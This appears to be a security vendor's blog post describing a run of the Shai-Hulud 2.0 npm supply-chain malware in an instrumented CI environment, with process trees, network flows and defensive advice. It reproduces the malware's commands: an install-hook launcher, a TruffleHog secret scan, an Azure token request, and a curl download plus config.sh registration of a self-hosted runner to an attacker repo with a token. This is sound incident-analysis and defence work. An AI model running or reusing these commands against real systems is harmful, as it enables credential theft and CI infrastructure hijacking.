Widespread industry coverage of Shai-Hulud has provided excellent forensic analysis—code, IoCs, impact. But static artifacts only tell half the story: what the attack was designed to do, not what actually happened when it ran.
To complete the picture, we ran Shai-Hulud 2.0 in a CI environment instrumented with Garnet and recorded the execution: process ancestry, network flows, behavioral detections.
Here's what we observed.
The execution sequence
The process tree below shows the full execution chain—from npm install to the attempted infrastructure hijack—captured via Garnet's Jibril runtime sensor.
systemd
└─ hosted-compute-agent
└─ Runner.Listener
└─ Runner.Worker
└─ bash
└─ npm install @seung-ju/react-native-action-sheet
└─ sh -c "node setup_bun.js"
└─ node setup_bun.js
└─ bun bun_environment.js
├─ config.sh --name SHA1HULUD
├─ az account get-access-token
├─ pwsh -Command Import-Module Az.Accounts
├─ nohup ./run.sh
└─ trufflehog filesystem /home/runner
├─ oss.trufflehog.org:443
├─ api.box.com:443
├─ dc.services.visualstudio.com:443
├─ raw.githubusercontent.com:443
├─ release-assets.githubusercontent.com:443
└─ api.tomorrow.io:443 → BLOCKEDEverything below bun bun_environment.js is the active attack. The runtime pivot from Node to Bun is the hinge point—by spawning a separate runtime, the malware detaches from Node.js security hooks. Tracking process lineage (not just runtime) maintains visibility.
T+00:00 — The entry point
| Event Type | process_spawn |
| Context | Package Installation |
| Package | @seung-ju/react-native-action-sheet@0.2.1 |
The attack started with npm install. The package uses a lifecycle script to execute code immediately on install.
npm install @seung-ju/react-native-action-sheet@0.2.1 --no-save --no-package-lockThe Pivot: Instead of running malicious code directly in Node—which static scanners might catch—the script spawned a shell to download a different runtime.
sh -c "node setup_bun.js"T+00:03 — The runtime switch
| Event Type | interpreter_shell_spawn |
| Technique | Runtime Evasion |
| Target Runtime | Bun |
The setup_bun.js script installed Bun into a hidden directory (~/.dev-env/) and handed off execution.
bun /home/runner/.dev-env/bun_environment.jsThis switch blinds most defenders. Security tools monitoring the Node process tree or hooking V8 lose sight here—from this point, the malware runs under Bun. Kernel-level process ancestry tracking sees through the evasion.
T+00:25 — Live credential validation
| Event Type | hidden_elf_exec |
| Tool Used | TruffleHog (legitimate security scanner) |
| Target | /home/runner filesystem |
From Bun, the malware ran TruffleHog to scan the filesystem for secrets.
/home/runner/.truffler-cache/trufflehog filesystem /home/runner --jsonThe "testing the lock" signal
The malware didn't just harvest strings—it validated them. We saw immediate outbound connections to SaaS APIs matching the discovered secrets.
| Destination | IP | Purpose |
|---|---|---|
oss.trufflehog.org:443 | 142.250.68.19 | TruffleHog update |
api.box.com:443 | 74.112.186.157 | Box API validation |
dc.services.visualstudio.com:443 | — | Azure DevOps validation |

Live credential validation is a high-fidelity runtime signal. The attacker confirms which keys work in real-time. Static analysis misses this entirely—but network telemetry is unambiguous: the process tree is talking to the API, testing its keys.
T+00:45 — Cloud credential probing
| Event Type | interpreter_shell_spawn |
| Target | Azure cloud credentials |
| Techniques | CLI, PowerShell, IMDS |
The malware tried to pivot from CI to cloud using three vectors:
-
Azure CLI token request:
az account get-access-token --output json --resource https://vault.azure.net -
PowerShell module loading:
pwsh -NoProfile -NonInteractive -Command "Import-Module Az.Accounts ..."
The IMDS endpoint (169.254.169.254) is a classic target for stealing temporary credentials. Accessing it from a child of npm install is a clear anomaly.
T+06:17 — Infrastructure persistence
| Event Type | hidden_elf_exec |
| Intent | Runner hijack |
| Target Repo | Cpreet/lr8su68xsi5ew60p6k |
The telemetry reveals the goal: infrastructure capture. The malware tried to register the ephemeral runner as a permanent, self-hosted runner attached to an attacker-controlled repo.
mkdir -p ~/.dev-env cd ~/.dev-env curl ... > actions-runner-linux-x64-2.330.0.tar.gz tar xzf actions-runner-linux-x64-2.330.0.tar.gz RUNNER_ALLOW_RUNASROOT=1 ./config.sh \ --url https://github.com/Cpreet/lr8su68xsi5ew60p6k \ --unattended \ --token AJLWEOHS55OZFARDGWZFUZDJFD3XW \ --name "SHA1HULUD" nohup ./run.sh &

This is the modern supply chain threat: not data theft, but compute theft. A registered runner gives the attacker a programmable node inside your perimeter—they run their own jobs on your infrastructure.
T+07:01 — Breaking the attack chain
| Event Type | network_flow |
| Status | BLOCKED |
| Destination | api.tomorrow.io:443 |
After harvesting and persistence, the malware tried to reach an endpoint with no business in CI.
| Destination | IP | Flows | Action |
|---|---|---|---|
api.tomorrow.io | 104.18.28.42 | 1 | BLOCKED |

The Anomaly: Cloudflare-fronted C2
This destination hit a threat intelligence blocklist.
The 104.18.x.x range is Cloudflare—legitimate for CDN, but increasingly used to mask C2 endpoints. We tracked a North Korean campaign using this exact technique: hiding behind trusted CDN infrastructure. Combined with the process ancestry, the connection was flagged as a critical anomaly.
Destination: api.tomorrow.io:443 Class: network_exfiltration State: blocked Priority: critical Action: Connection dropped silently at network boundary
Disruption via Silence
We dropped the packet silently. No TCP RST, no ICMP unreachable—the connection simply hung.
This broke the attacker's OODA loop. By denying the response without signaling a block, we forced the malware into a retry loop.
Result: we did not observe the "shredding" behavior (evidence destruction) reported elsewhere. The attack stalled at validation, preventing the destructive phase.
Network flow summary
The complete picture—every outbound connection from the compromised runner:

| Destination | IP | Flows | Purpose | Action |
|---|---|---|---|---|
github.com | 140.82.116.4 | 1 | Runner download | Allowed |
gitlab.com | 172.65.251.78 | 1 | Credential validation | Allowed |
The "Allowed" connections are dual-use—legitimate tools contact them too. The value isn't in blocking github.com, but in the ancestry context to attribute those flows later. The api.tomorrow.io block is what stopped the chain.
Conclusion: The value of runtime context
Traditional security relies on allowlists and signatures. Here, the domains were trusted (github.com) and the tools were legitimate (trufflehog, az). Static analysis sees "tools"; runtime analysis sees "intent."
Two findings:
- Credential validation is the new exfil. The attacker didn't just steal—they verified. This creates a noisy runtime signal that static analysis misses entirely.
- Silent enforcement kills the chain. By blocking the C2 silently, we froze the attacker's logic. They couldn't confirm their foothold or execute cleanup.
This is the difference between an alert and an intervention.
What you can do
Hunt for infrastructure capture:
- Audit self-hosted runners for unexpected names (e.g.,
SHA1HULUD) - Search for hidden directories (
~/.dev-env) containingconfig.shorrun.sh - Flag
config.sh --unattendedexecution from unusual paths
Constrain CI egress:
- Baseline the domains your CI actually needs
- Treat Cloudflare-fronted domains with suspicion when they appear in CI
- Enforce policy at the network boundary, not just the application layer
Add runtime visibility:
- Map process ancestry to workflow context
- Correlate network flows with process identity
- Ensure you can replay the tape when an anomaly fires
To capture this level of runtime context in your CI/CD, see the Garnet documentation.